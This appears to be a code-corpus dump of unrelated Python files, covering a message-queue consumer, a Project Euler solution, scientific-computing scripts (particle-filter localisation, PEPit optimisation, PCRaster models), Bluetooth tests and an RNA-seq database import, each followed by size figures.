#print(" [x] Received " + str(body) + ' ' + str(datetime.datetime.now()))
datahandler(body)
channel.basic_ack(delivery_tag = method.delivery_tag)
channel.basic_qos(prefetch_count=1)
channel.basic_consume(callback,
queue='hello'
)
print(' [*] Waiting for messages. To exit press CTRL+C')
channel.start_consuming()
| 1,581 | 561 |
"""Project Euler - Problem 12 - http://projecteuler.net/problem=12"""
import sys
import time
import tools.timeutils as timeutils
def number_of_factors(n):
"""
Returns the number of factors of number n
Using a list to keep the factors found of number n
"""
max_limit = 0
nr_factors = 2 # 1 and n are always factors
for m in range(2, n):
if n % m == 0:
# found a new factor
nr_factors += 1
# I only have to divide n by m until m reaches the result of
# the quotient of the first factor encountered
# for example: consider number 28. the first factor is 2 and
# the quotient gives 14, since 28 / 2 = 14. 14 is then the max
# limit where m has to increase to, because we know for sure that
# any m > 14 will not be a factor of 28, and we break the cycle
# when this condition occurs. This way we only have to make less
# divisions to find out all the factors of number n
quotient = int(n / m)
if max_limit < quotient:
max_limit = quotient
if m > max_limit:
break
return nr_factors
def main():
"""Main entry point for the script"""
start = time.time()
triangular_number = 1
n = 2
while number_of_factors(triangular_number) <= 500:
triangular_number += n
n += 1
timeutils.elapsed_time(time.time() - start)
print(triangular_number)
def test_number_of_factors():
"""Testing the number of factors method [problem 12]"""
assert number_of_factors(28) == 6
assert number_of_factors(76576500) > 500
if __name__ == '__main__':
sys.exit(main())
| 1,723 | 538 |
from scipy import stats
import pandas as pd
import numpy as np
path_mutlivariate_feat_imps = '/n/groups/patel/samuel/EWAS/feature_importances_paper/'
Environmental = ['Clusters_Alcohol', 'Clusters_Diet', 'Clusters_Education', 'Clusters_ElectronicDevices',
'Clusters_Employment', 'Clusters_FamilyHistory', 'Clusters_Eyesight', 'Clusters_Mouth',
'Clusters_GeneralHealth', 'Clusters_Breathing', 'Clusters_Claudification', 'Clusters_GeneralPain',
'Clusters_ChestPain', 'Clusters_CancerScreening', 'Clusters_Medication', 'Clusters_Hearing',
'Clusters_Household', 'Clusters_MentalHealth', 'Clusters_OtherSociodemographics',
'Clusters_PhysicalActivityQuestionnaire', 'Clusters_SexualFactors', 'Clusters_Sleep', 'Clusters_SocialSupport',
'Clusters_SunExposure', 'Clusters_EarlyLifeFactors', 'Clusters_Smoking']
Biomarkers = ['Clusters_PhysicalActivity', 'Clusters_HandGripStrength', 'Clusters_BrainGreyMatterVolumes', 'Clusters_BrainSubcorticalVolumes',
'Clusters_HeartSize', 'Clusters_HeartPWA', 'Clusters_ECGAtRest', 'Clusters_AnthropometryImpedance',
'Clusters_UrineBiochemistry', 'Clusters_BloodBiochemistry', 'Clusters_BloodCount',
'Clusters_EyeAutorefraction', 'Clusters_EyeAcuity', 'Clusters_EyeIntraoculaPressure',
'Clusters_BraindMRIWeightedMeans', 'Clusters_Spirometry', 'Clusters_BloodPressure',
'Clusters_AnthropometryBodySize', 'Clusters_ArterialStiffness', 'Clusters_CarotidUltrasound',
'Clusters_BoneDensitometryOfHeel', 'Clusters_HearingTest', 'Clusters_CognitiveFluidIntelligence', 'Clusters_CognitiveMatrixPatternCompletion',
'Clusters_CognitiveNumericMemory', 'Clusters_CognitivePairedAssociativeLearning', 'Clusters_CognitivePairsMatching', 'Clusters_CognitiveProspectiveMemory',
'Clusters_CognitiveReactionTime', 'Clusters_CognitiveSymbolDigitSubstitution', 'Clusters_CognitiveTowerRearranging', 'Clusters_CognitiveTrailMaking']
Pathologies = ['medical_diagnoses_%s' % letter for letter in ['A', 'B', 'C', 'D', 'E',
'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O',
'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z']]
Clusters = []
All = Environmental + Biomarkers + Pathologies #+ ['Genetics']
organs = ['\*', '*instances01', '*instances1.5x', '*instances23', 'Abdomen' , 'AbdomenLiver' , 'AbdomenPancreas' , 'Arterial' , 'ArterialCarotids' , 'ArterialPulseWaveAnalysis' , 'Biochemistry' , 'BiochemistryBlood' , 'BiochemistryUrine' , 'Brain' , 'BrainCognitive' , 'BrainMRI' , 'Eyes' , 'EyesAll' , 'EyesFundus' , 'EyesOCT' , 'Hearing' , 'Heart' , 'HeartECG' , 'HeartMRI' , 'ImmuneSystem' , 'Lungs' , 'Musculoskeletal' , 'MusculoskeletalFullBody' , 'MusculoskeletalHips' , 'MusculoskeletalKnees' , 'MusculoskeletalScalars' , 'MusculoskeletalSpine' , 'PhysicalActivity']
path_heritability = '/n/groups/patel/Alan/Aging/Medical_Images/GWAS_hits_Age'
def Create_data(corr_type, model):
df_corr_env = pd.DataFrame(columns = ['env_dataset', 'organ_1', 'organ_2', 'corr', 'sample_size'])
for env_dataset in All:
print("Env dataset : ", env_dataset)
for organ_1 in organs:
try :
df_1 = pd.read_csv(path_mutlivariate_feat_imps + 'FeatureImp_%s_%s_%s.csv' % (env_dataset, organ_1, model)).set_index('features').fillna(0)
except FileNotFoundError as e:
continue
for organ_2 in organs:
try :
df_2 = pd.read_csv(path_mutlivariate_feat_imps + 'FeatureImp_%s_%s_%s.csv' % (env_dataset, organ_2, model)).set_index('features').fillna(0)
except FileNotFoundError as e:
#print(e)
continue
try :
if corr_type == 'Spearman':
corr, _ = stats.spearmanr(df_1.weight, df_2.weight)
elif corr_type == 'Pearson':
corr, _ = stats.pearsonr(df_1.weight, df_2.weight)
except ValueError:
commun_indexes = df_1.weight.index.intersection(df_2.weight.index)
if corr_type == 'Spearman':
corr, _ = stats.spearmanr(df_1.weight.loc[commun_indexes], df_2.weight.loc[commun_indexes])
elif corr_type == 'Pearson':
corr, _ = stats.pearsonr(df_1.weight.loc[commun_indexes], df_2.weight.loc[commun_indexes])
sample_size = len(df_1.weight)
df_corr_env = df_corr_env.append({'env_dataset' : env_dataset, 'organ_1' : organ_1, 'organ_2' :organ_2, 'corr' :corr, 'sample_size' : sample_size}, ignore_index = True)
df_corr_env.to_csv('/n/groups/patel/samuel/EWAS/Correlations/CorrelationsMultivariate_%s_%s.csv'% (corr_type, model))
for model in ['LightGbm', 'ElasticNet', 'NeuralNetwork']:
for corr_type in ['Pearson', 'Spearman']:
Create_data(corr_type, model)
| 5,203 | 1,844 |
from abc import ABC, abstractmethod
import functools
from typing import Optional, Type, Any, Callable
from types import TracebackType
import tensorflow as tf
from ..tensor.factory import AbstractTensor
__PROTOCOL__ = None
global_cache_updators = list()
nodes = dict()
class Protocol(ABC):
"""
Protocol is the base class that other protocols in tf-encrypted will extend from.
Do not directly instantiate this class. You should use a subclass instead, such as :class:`~tensorflow_encrypted.protocol.protocol.SecureNN`
"""
def __enter__(self) -> 'Protocol':
set_protocol(self)
return self
def __exit__(self, type: Optional[Type[BaseException]],
value: Optional[Exception],
traceback: Optional[TracebackType]) -> Optional[bool]:
set_protocol(None)
return None
@property
@abstractmethod
def initializer(self) -> tf.Operation:
pass
def set_protocol(prot: Optional[Protocol]) -> None:
"""
Sets the global protocol. E.g. :class:`~tensorflow_encrypted.protocol.securenn.SecureNN`
or :class:`~tensorflow_encrypted.protocol.pond.Pond`.
.. code-block::python
tfe.set_protocol(tfe.protocol.secureNN())
:param ~tensorflow_encrypted.protocol.protocol.Protocol prot: An instance of a tfe protocol.
"""
global __PROTOCOL__
__PROTOCOL__ = prot
def get_protocol() -> Optional[Protocol]:
"""
:rtype: ~tensorflow_encrypted.protocol.protocol.Protocol
:returns: The global protocol.
"""
return __PROTOCOL__
def global_caches_updator() -> tf.Operation:
with tf.name_scope('cache_update'):
return tf.group(*global_cache_updators)
def memoize(func: Callable) -> Callable:
@functools.wraps(func)
def cache_nodes(self: Protocol, *args: Any, **kwargs: Any) -> AbstractTensor:
args = tuple(tuple(x) if isinstance(x, list) else x for x in args)
node_key = (func.__name__, args, tuple(sorted(kwargs.items())))
cached_result = nodes.get(node_key, None)
if cached_result is not None:
return cached_result
result = func(self, *args, **kwargs)
nodes[node_key] = result
return result
return cache_nodes
| 2,255 | 672 |
default_app_config = 'ui.config.UIConfig'
| 42 | 16 |
#setup
def countingSort(a = []):
finalList = [0] * len(a)
maxVal = a[0]
minVal = a[0]
for i in range(1, len(a)):
if a[i] > maxVal:
maxVal = a[i]
elif a[i] < minVal:
minVal = a[i]
k = maxVal - minVal + 1
countList = [0]*k
for i in range(0, len(a)):
countList[a[i] - minVal] += 1
for i in range(1, k):
countList[i] += countList[i - 1]
for i in range(0, len(a)):
finalList[countList[a[i] - minVal] - 1] = a[i]
countList[a[i] - minVal] -= 1
for i in range(0, len(a)):
a[i] = finalList[i]
#main
a = [1, 5, 2, 7, 3, 4, 4, 1, 5]
for i in range(len(a)):
print(a[i], end = " ")
countingSort(a)
print()
for i in range(len(a)):
print(a[i], end = " ")
| 820 | 386 |
import math
import numpy as np
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from matplotlib import pyplot as pb
import random
from datetime import datetime
import time
import sys
import csv
def dist(x, y, pos):
return math.sqrt((pos[0]-x)**2 + (pos[1]-y)**2)
areaSize=(10, 10)
node_pos=[(0,0),(10,0),(10,10),(0,10)]
centroid = (sum([node_pos[i][0] for i in range(len(node_pos))])/len(node_pos) , sum([node_pos[i][1] for i in range(len(node_pos))])/len(node_pos))
possible_x = list(range(10, 90))
possible_y = list(range(10, 90))
num_particles = 200
def gen_wifi(freq=2.4, power=20, trans_gain=0, recv_gain=0, size=areaSize, pos=(5,5), shadow_dev=1 , n=2,rss0=-40,noise=1):
if pos is None:
pos = (random.randrange(size[0]), random.randrange(size[1]))
random.seed(datetime.now())
normal_dist = np.random.normal(0, shadow_dev, size=[size[0]+1, size[1]+1])
rss = []
random.seed(datetime.now())
for x in range(0,4):
distance = dist(node_pos[x][0], node_pos[x][1], pos)
val =rss0 - 10 * n * math.log10(distance) + normal_dist[int(pos[0])][int(pos[1])]
rss.append(val-noise*random.random())
return rss
rssi_dict = []
for i in range(4):
with open(sys.argv[1]+"s"+str(i)+".csv") as f:
dict_from_csv = [{k: v for k, v in row.items()}
for row in csv.DictReader(f,delimiter=';', skipinitialspace=True)]
rssi_dict.append(dict_from_csv)
min_length = len(rssi_dict[0])
for i in range(1,4):
if len(rssi_dict[i]) < min_length:
min_length = len(rssi_dict[i])
RSS0 = -47
overall_rss={}
original_tragectory={}
path_loss_list = []
received_signal_log = []
for i in range(min_length):
x , y = float(rssi_dict[0][i]['x']) , float(rssi_dict[0][i]['y'])
# if (x,y) != Previous_pos:
random.seed(datetime.now())
rss = [int(rssi_dict[0][i]['rssi'])-random.random(),int(rssi_dict[1][i]['rssi'])-random.random(),int(rssi_dict[2][i]['rssi'])-random.random(),int(rssi_dict[3][i]['rssi'])-random.random()]
# if rssi_dict[0][i]['channel'] == rssi_dict[1][i]['channel'] == rssi_dict[2][i]['channel'] == rssi_dict[3][i]['channel']:
if rssi_dict[3][i]['channel'] in overall_rss:
if (x,y) in overall_rss[rssi_dict[3][i]['channel']]:
overall_rss[rssi_dict[3][i]['channel']][(x,y)].append(rss)
else :
overall_rss[rssi_dict[3][i]['channel']][(x,y)] = [rss]
# original_tragectory[rssi_dict[3][i]['channel']].append((x,y))
else :
overall_rss[rssi_dict[3][i]['channel']] = {(x,y):[rss]}
# if float(rssi_dict[0][i]['distance']) > 1.4 and float(rssi_dict[0][i]['distance']) < 1.5 :
# RSS0 = int(rssi_dict[0][i]['rssi'])
# elif float(rssi_dict[1][i]['distance']) > 1.4 and float(rssi_dict[1][i]['distance']) < 1.5:
# RSS0 = int(rssi_dict[1][i]['rssi'])
# elif float(rssi_dict[2][i]['distance']) > 1.4 and float(rssi_dict[2][i]['distance']) < 1.5 :
# RSS0 = int(rssi_dict[2][i]['rssi'])
# elif float(rssi_dict[3][i]['distance']) > 1.4 and float(rssi_dict[3][i]['distance']) < 1.5 :
# RSS0 = int(rssi_dict[3][i]['rssi'])
# for j in range(4):
# path_loss_list.append(20-rss[j])
# received_signal_log.append(10*math.log10(float(rssi_dict[j][i]['distance'])))
# Previous_pos = (x,y)
# average_path_loss = np.average(path_loss_list)
# average_received_signal_log = np.average(received_signal_log)
# nominator = 0
# demonimator = 0
# for i in range(len(path_loss_list)):
# nominator += (path_loss_list[i] - average_path_loss)*(received_signal_log[i] - average_received_signal_log)
# demonimator += math.pow((received_signal_log[i] - average_received_signal_log),2)
# pathloss_exponent = nominator / demonimator
# doa=[]
# for i in range(0,len(overall_rss)):
# inner_curr = i
# limit = i-500 if i>500 else 0
# est_sin_sum = 0
# est_cos_sum = 0
# starting_curr = inner_curr
# weight_sum = 0
# # average estimated DoA calculated
# while inner_curr >= limit:
# gx = ((overall_rss[i][1]-overall_rss[i][0])/2) + ((overall_rss[i][2]-overall_rss[i][3])/2)
# gy = ((overall_rss[i][2]-overall_rss[i][1])/2) + ((overall_rss[i][3]-overall_rss[i][0])/2)
# estimated_grad=np.arctan(gy/gx)
# if estimated_grad > math.pi:
# estimated_grad = -2 * math.pi + estimated_grad
# elif estimated_grad < -math.pi:
# estimated_grad = math.pi - abs(-math.pi - estimated_grad)
# weight = 0.99 ** (inner_curr - starting_curr)
# weight_sum += weight
# estimated_grad = weight * estimated_grad
# est_sin_sum += math.sin(estimated_grad)
# est_cos_sum += math.cos(estimated_grad)
# inner_curr -= 1
# avg_est_sin = est_sin_sum / weight_sum
# avg_est_cos = est_cos_sum / weight_sum
# avg_grad = math.atan2(avg_est_sin, avg_est_cos)
# doa.append(avg_grad)
resultFile = open("error_boundry_particleFilter_full"+sys.argv[1].split("/")[1] +".csv", "a") # append mode
resultFile.write("Channel,"+"Mean,"+"StDev"+"\n")
for channel in overall_rss:
# if int(channel)%5 == 0:
print("---------Channel %s--------"%channel)
poses = overall_rss[channel]
random.seed(datetime.now())
previous_errors =[]
distance_error =[]
particles = []
times = []
# num_particles = len(particles)
# print("Number of particle filters",num_particles)
for original_pos in poses:
rss_values = np.average(poses[original_pos],axis=0)
# print(rss_values)
for p in range(num_particles):
particles.append((random.choice(possible_x)/10,random.choice(possible_y)/10))
start_time = time.time()
positions =[]
errors=[]
weights =[]
error=0
gx = (((rss_values[1]-rss_values[0])/20) + ((rss_values[2]-rss_values[3])/20))/2
gy = (((rss_values[2]-rss_values[1])/20) + ((rss_values[3]-rss_values[0])/20))/2
estimated_doa=math.atan2(gy,gx)
for particle in particles:
x,y=particle[0],particle[1]
# print(str(particle))
# actual_rss = gen_wifi(pos=(x,y),n=pathloss_exponent,rss0=RSS0,noise=0)
# gx = ((actual_rss[1]-actual_rss[0])/2) + ((actual_rss[2]-actual_rss[3])/2)
# gy = ((actual_rss[2]-actual_rss[1])/2) + ((actual_rss[3]-actual_rss[0])/2)
adoa=math.atan2(y-centroid[1],x-centroid[0])
error=adoa-estimated_doa
if len(previous_errors)>2:
std_error=np.std(previous_errors)
else:
std_error=0.01
omega=((1/((std_error)*math.sqrt(2*math.pi)))*(math.pow(math.e,-(math.pow(error,2)/(2*(std_error**2))))))
for j in range(len(previous_errors)-1,len(previous_errors)-4 if len(previous_errors) > 5 else 0,-1):
omega=omega*((1/((std_error)*math.sqrt(2*math.pi)))*(math.pow(math.e,-(math.pow(previous_errors[j],2)/(2*(std_error**2))))))
weights.append(omega)
positions.append((x,y))
errors.append(error)
sum_weight=np.sum(weights)
if sum_weight == 0:
pass
for j in range(0,len(weights)):
weights[j]=weights[j]/sum_weight
max_weight = max(weights)
max_index = weights.index(max_weight)
pos=positions[max_index]
previous_errors.append(errors[max_index])
# print("Actual position: ",original_pos,"Predicted Position: ",pos,"DOA: ",estimated_doa*180/math.pi,"ADOA: ",(errors[max_index]+estimated_doa)*180/math.pi,"Error: ",errors[max_index])
distance_error.append(dist(pos[0],pos[1],original_pos))
times.append(time.time() - start_time)
distcumulativeEror=np.sum(distance_error)
distmeanError=np.average(distance_error)
distStandardDeviationError=np.std(distance_error)
print("--- Average Computation Time per Iteration : %s seconds ---" % (np.average(times)))
# print("rss0",RSS0,"path loss exponent: ",pathloss_exponent)
# print("RSS_ERROR: Cumulative Error: " + str(rsscumulativeEror)+"\tMean Error: "+str(rssmeanError)+"\tStandard Deviation: "+str(rssStandardDeviationError))
print("DIST_ERROR: Cummulative Error: " + str(distcumulativeEror)+"\tMean Error: "+str(distmeanError)+"\tStandard Deviation: "+str(distStandardDeviationError))
resultFile.write(str(channel)+","+str(distmeanError)+","+str(distStandardDeviationError)+"\n")
| 8,544 | 3,379 |
"""
The ``foreign`` Devito backend is meant to be used by codes that don't
run Python natively. This backend is only capable of generating and compiling
kernels; however, kernels must be executed explicitly from outside Devito.
Further, with the ``foreign`` backed, Devito doesn't allocate any data.
"""
# The following used by backends.backendSelector
from devito.function import Constant, Function, TimeFunction, SparseFunction # noqa
from devito.foreign.operator import Operator # noqa
from devito.types import CacheManager # noqa
| 538 | 144 |
#/usr/bin/env python3.4
#
# Copyright (C) 2016 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations under
# the License.
import time
from acts.base_test import BaseTestClass
from acts.controllers import native_android_device
from acts.test_utils.bt.native_bt_test_utils import setup_native_bluetooth
from acts.test_utils.bt.bt_test_utils import generate_id_by_size
class BtNativeTest(BaseTestClass):
tests = None
def __init__(self, controllers):
BaseTestClass.__init__(self, controllers)
setup_native_bluetooth(self.native_devices)
self.droid = self.native_devices[0].droid
self.tests = ("test_binder_get_name",
"test_binder_get_name_invalid_parameter",
"test_binder_set_name_get_name",
"test_binder_get_address", )
if len(self.native_devices) > 1:
self.droid1 = self.native_devices[1].droid
self.tests = self.tests + ("test_two_devices_set_get_name", )
def test_binder_get_name(self):
result = self.droid.BluetoothBinderGetName()
self.log.info("Bluetooth device name: {}".format(result))
return True
def test_binder_get_name_invalid_parameter(self):
try:
self.droid.BluetoothBinderGetName("unexpected_parameter")
return False
except Exception:
return True
def test_binder_set_name_get_name(self):
test_name = generate_id_by_size(4)
result = self.droid.BluetoothBinderSetName(test_name)
if not result:
return False
name = self.droid.BluetoothBinderGetName()
if test_name != name:
return False
return True
def test_binder_get_address(self):
result = self.droid.BluetoothBinderGetAddress()
self.log.info("Found BT address: {}".format(result))
if not result:
return False
return True
def test_two_devices_set_get_name(self):
test_name = generate_id_by_size(4)
for n in self.native_devices:
d = n.droid
d.BluetoothBinderSetName(test_name)
name = d.BluetoothBinderGetName()
if name != test_name:
return False
return True
| 2,764 | 847 |
from src.config_load import input_data, steel_data, plots_cfg
from src.data.data import getFullData
from src.plotting.plot_all import plotAllFigs
outputData = getFullData(input_data.copy(), steel_data)
figsDefault = plotAllFigs(outputData, input_data.copy(), plots_cfg, global_cfg='webapp')
| 293 | 96 |
from .colornamer import get_color_from_rgb
from .colornamer import get_color_from_lab
from .colornamer import get_color_json
| 125 | 41 |
"""This module defines the main router among all ROOT endpoints"""
from fastapi import APIRouter
from .healthcheck import router as healthcheck_router
router = APIRouter()
router.include_router(healthcheck_router, include_in_schema=False)
| 242 | 67 |
from PEPit import PEP
from PEPit.functions import SmoothStronglyConvexFunction
def wc_accelerated_gradient_convex(mu, L, n, verbose=1):
"""
Consider the convex minimization problem
.. math:: f_\\star \\triangleq \\min_x f(x),
where :math:`f` is :math:`L`-smooth and :math:`\\mu`-strongly convex (:math:`\\mu` is possibly 0).
This code computes a worst-case guarantee for an **accelerated gradient method**, a.k.a. **fast gradient method**.
That is, it computes the smallest possible :math:`\\tau(n, L, \\mu)` such that the guarantee
.. math:: f(x_n) - f_\\star \\leqslant \\tau(n, L, \\mu) \\|x_0 - x_\\star\\|^2
is valid, where :math:`x_n` is the output of the accelerated gradient method,
and where :math:`x_\\star` is the minimizer of :math:`f`.
In short, for given values of :math:`n`, :math:`L` and :math:`\\mu`,
:math:`\\tau(n, L, \\mu)` is computed as the worst-case value of
:math:`f(x_n)-f_\\star` when :math:`\\|x_0 - x_\\star\\|^2 \\leqslant 1`.
**Algorithm**:
The accelerated gradient method of this example is provided by
.. math::
:nowrap:
\\begin{eqnarray}
x_{t+1} & = & y_t - \\frac{1}{L} \\nabla f(y_t) \\\\
y_{t+1} & = & x_{t+1} + \\frac{t-1}{t+2} (x_{t+1} - x_t).
\\end{eqnarray}
**Theoretical guarantee**:
When :math:`\\mu=0`, a tight **empirical** guarantee can be found in [1, Table 1]:
.. math:: f(x_n)-f_\\star \\leqslant \\frac{2L\\|x_0-x_\\star\\|^2}{n^2 + 5 n + 6},
where tightness is obtained on some Huber loss functions.
**References**:
`[1] A. Taylor, J. Hendrickx, F. Glineur (2017). Exact worst-case performance of first-order methods for composite
convex optimization. SIAM Journal on Optimization, 27(3):1283–1313.
<https://arxiv.org/pdf/1512.07516.pdf>`_
Args:
mu (float): the strong convexity parameter
L (float): the smoothness parameter.
n (int): number of iterations.
verbose (int): Level of information details to print.
-1: No verbose at all.
0: This example's output.
1: This example's output + PEPit information.
2: This example's output + PEPit information + CVXPY details.
Returns:
pepit_tau (float): worst-case value
theoretical_tau (float): theoretical value
Example:
>>> pepit_tau, theoretical_tau = wc_accelerated_gradient_convex(mu=0, L=1, n=1, verbose=1)
(PEPit) Setting up the problem: size of the main PSD matrix: 4x4
(PEPit) Setting up the problem: performance measure is minimum of 1 element(s)
(PEPit) Setting up the problem: initial conditions (1 constraint(s) added)
(PEPit) Setting up the problem: interpolation conditions for 1 function(s)
function 1 : 6 constraint(s) added
(PEPit) Compiling SDP
(PEPit) Calling SDP solver
(PEPit) Solver status: optimal (solver: SCS); optimal value: 0.16666666668209376
*** Example file: worst-case performance of accelerated gradient method ***
PEPit guarantee: f(x_n)-f_* <= 0.166667 ||x_0 - x_*||^2
Theoretical guarantee: f(x_n)-f_* <= 0.166667 ||x_0 - x_*||^2
"""
# Instantiate PEP
problem = PEP()
# Declare a strongly convex smooth function
func = problem.declare_function(SmoothStronglyConvexFunction, mu=mu, L=L)
# Start by defining its unique optimal point xs = x_* and corresponding function value fs = f_*
xs = func.stationary_point()
fs = func.value(xs)
# Then define the starting point x0 of the algorithm
x0 = problem.set_initial_point()
# Set the initial constraint that is the distance between x0 and x^*
problem.set_initial_condition((x0 - xs) ** 2 <= 1)
# Run n steps of the fast gradient method
x_new = x0
y = x0
for i in range(n):
x_old = x_new
x_new = y - 1 / L * func.gradient(y)
y = x_new + i / (i + 3) * (x_new - x_old)
# Set the performance metric to the function value accuracy
problem.set_performance_metric(func.value(x_new) - fs)
# Solve the PEP
pepit_verbose = max(verbose, 0)
pepit_tau = problem.solve(verbose=pepit_verbose)
# Theoretical guarantee (for comparison)
theoretical_tau = 2 * L / (n ** 2 + 5 * n + 6) # tight only for mu=0, see [2], Table 1 (column 1, line 1)
if mu != 0:
print('Warning: momentum is tuned for non-strongly convex functions.')
# Print conclusion if required
if verbose != -1:
print('*** Example file: worst-case performance of accelerated gradient method ***')
print('\tPEPit guarantee:\t f(x_n)-f_* <= {:.6} ||x_0 - x_*||^2'.format(pepit_tau))
print('\tTheoretical guarantee:\t f(x_n)-f_* <= {:.6} ||x_0 - x_*||^2'.format(theoretical_tau))
# Return the worst-case guarantee of the evaluated method (and the reference theoretical value)
return pepit_tau, theoretical_tau
if __name__ == "__main__":
pepit_tau, theoretical_tau = wc_accelerated_gradient_convex(mu=0, L=1, n=1, verbose=1)
| 5,176 | 1,769 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import random
import pcraster
import pcraster.framework.dynamicPCRasterBase as dynamicPCRasterBase
import pcraster.framework.mcPCRasterBase as mcPCRasterBase
import pcraster.framework.pfPCRasterBase as pfPCRasterBase
import pcraster.framework.staticPCRasterBase as staticPCRasterBase
class StaticWithoutAll(staticPCRasterBase.StaticModel, mcPCRasterBase.MonteCarloModel):
def __init__(self):
staticPCRasterBase.StaticModel.__init__(self)
mcPCRasterBase.MonteCarloModel.__init__(self)
def initial(self):
pass
class DynamicWithoutAll(dynamicPCRasterBase.DynamicModel, mcPCRasterBase.MonteCarloModel):
def __init__(self):
dynamicPCRasterBase.DynamicModel.__init__(self)
mcPCRasterBase.MonteCarloModel.__init__(self)
def initial(self):
pass
class StaticWithoutSuspend(staticPCRasterBase.StaticModel, mcPCRasterBase.MonteCarloModel):
def __init__(self):
staticPCRasterBase.StaticModel.__init__(self)
mcPCRasterBase.MonteCarloModel.__init__(self)
def initial(self):
pass
def updateWeight(self):
pass
class DynamicWithoutSuspend(dynamicPCRasterBase.DynamicModel, mcPCRasterBase.MonteCarloModel):
def __init__(self):
dynamicPCRasterBase.DynamicModel.__init__(self)
mcPCRasterBase.MonteCarloModel.__init__(self)
def initial(self):
pass
def updateWeight(self):
pass
class StaticWithoutResume(mcPCRasterBase.MonteCarloModel):
def __init__(self):
pass
def initial(self):
pass
def updateWeight(self):
pass
def suspend(self):
pass
class DynamicWithoutResume(mcPCRasterBase.MonteCarloModel):
def __init__(self):
pass
def initial(self):
pass
def updateWeight(self):
pass
def suspend(self):
pass
#
class T0(mcPCRasterBase.MonteCarloModel):
def __init__(self):
pass
#
class T1(mcPCRasterBase.MonteCarloModel):
def __init__(self):
pass
#
class staticModel(mcPCRasterBase.MonteCarloModel):
def __init__(self):
mcPCRasterBase.MonteCarloModel.__init__(self)
staticPCRasterBase.StaticModel.__init__(self)
pcraster.setclone("clone.map")
self.newmap = pcraster.readmap("clone.map")
def initial(self):
name = "mcsi%d" % (self.currentSampleNumber())
self.report(self.newmap, name)
def premcloop(self):
for sample in self.sampleNumbers():
name = "premc%d" % (sample)
self.report(self.newmap, name)
def postmcloop(self):
for sample in self.sampleNumbers():
name = "postmc%d" % (sample)
self.report(self.newmap, name)
#
class DynamicModel(dynamicPCRasterBase.DynamicModel, mcPCRasterBase.MonteCarloModel, pfPCRasterBase.ParticleFilterModel):
def __init__(self):
dynamicPCRasterBase.DynamicModel.__init__(self)
mcPCRasterBase.MonteCarloModel.__init__(self)
pfPCRasterBase.ParticleFilterModel.__init__(self)
pcraster.setclone("clone.map")
self.newmap = pcraster.readmap("clone.map")
def initial(self):
name = "mcdi%d" % (self.currentSampleNumber())
self.report(self.newmap, name)
self.stateVar = self.currentSampleNumber()
def premcloop(self):
for sample in self.sampleNumbers():
for timestep in self.timeSteps():
name = "premc_%d_%d" % (sample, timestep)
self.report("clone.map", name)
def postmcloop(self):
for sample in self.sampleNumbers():
for timestep in self.timeSteps():
name = "postmc_%d_%d" % (sample, timestep)
self.report("clone.map", name)
def dynamic(self):
name = "mcdd%d" % (self.currentSampleNumber())
self.report("clone.map", name)
def updateWeight(self):
return random.random()
def suspend(self):
assert self.stateVar == self.currentSampleNumber()
def resume(self):
assert self.stateVar == self.currentSampleNumber()
| 3,797 | 1,308 |
#!/usr/bin/env python
# SPDX-License-Identifier: MIT
# Copyright (c) 2016-2020 Michael Purcaro, Henry Pratt, Jill Moore, Zhiping Weng
from __future__ import print_function
import os
import sys
import json
import psycopg2
import argparse
import gzip
sys.path.append(os.path.join(os.path.dirname(__file__), '../../common/'))
from dbconnect import db_connect
from config import Config
sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)),
"../../metadata/utils"))
from db_utils import getcursor, makeIndex, makeIndexRev, makeIndexArr, makeIndexIntRange, makeIndexMultiCol
from files_and_paths import Dirs, Tools, Genome, Datasets
from utils import AddPath, Utils, printt, importedNumRows
AddPath(__file__, '../../common/')
from dbconnect import db_connect
from constants import chroms, paths, DB_COLS
from config import Config
from table_names import GeData, GeExperimentList
class ImportRNAseq(object):
def __init__(self, curs, assembly):
self.curs = curs
self.assembly = assembly
def _tableNameData(self, isNormalized):
return GeData(self.assembly, isNormalized)
def _tableNameExperimentList(self):
return GeExperimentList(self.assembly)
def run(self):
for isNormalized in [True, False]:
tableNameData = self._tableNameData(isNormalized)
fnp = paths.geFnp(self.assembly, isNormalized)
self._setupAndCopy(tableNameData, fnp)
self._doIndexData(tableNameData)
# normalizaed and unnormalizaed tables should have same experiments!!
self._extractExpIDs(tableNameData, self._tableNameExperimentList())
def _setupAndCopy(self, tableNameData, fnp):
printt("dropping and creating", tableNameData)
self.curs.execute("""
DROP TABLE IF EXISTS {tableNameData};
CREATE TABLE {tableNameData} (
id serial PRIMARY KEY,
ensembl_id VARCHAR(256) NOT NULL,
gene_name VARCHAR(256) NOT NULL,
expID VARCHAR(256) NOT NULL,
fileID VARCHAR(256) NOT NULL,
replicate INT NOT NULL,
fpkm NUMERIC NOT NULL,
tpm NUMERIC NOT NULL);
""".format(tableNameData=tableNameData))
printt("importing", fnp)
with gzip.open(fnp) as f:
self.curs.copy_from(f, tableNameData, '\t',
columns=("expID", "replicate", "ensembl_id", "gene_name",
"fileID", "tpm", "fpkm"))
importedNumRows(self.curs)
def _extractExpIDs(self, tableNameData, tableNameExperimentList):
printt("dropping and creating", tableNameExperimentList)
self.curs.execute("""
DROP TABLE IF EXISTS {tableNameExperimentList};
CREATE TABLE {tableNameExperimentList} AS
SELECT DISTINCT expID, fileID, replicate
FROM {tableNameData}
""".format(tableNameData = tableNameData,
tableNameExperimentList = tableNameExperimentList))
importedNumRows(self.curs)
def _doIndexData(self, tableNameData):
printt("creating indices in", tableNameData, "...")
makeIndex(self.curs, tableNameData, ["gene_name", "tpm"])
def doIndex(self):
for isNormalized in [True, False]:
self._doIndexData(self._tableNameData(isNormalized))
def run(args, DBCONN):
assemblies = Config.assemblies
if args.assembly:
assemblies = [args.assembly]
for assembly in assemblies:
with getcursor(DBCONN, "08_setup_log") as curs:
im = ImportRNAseq(curs, assembly)
if args.index:
im.doIndex()
else:
im.run()
def parse_args():
parser = argparse.ArgumentParser()
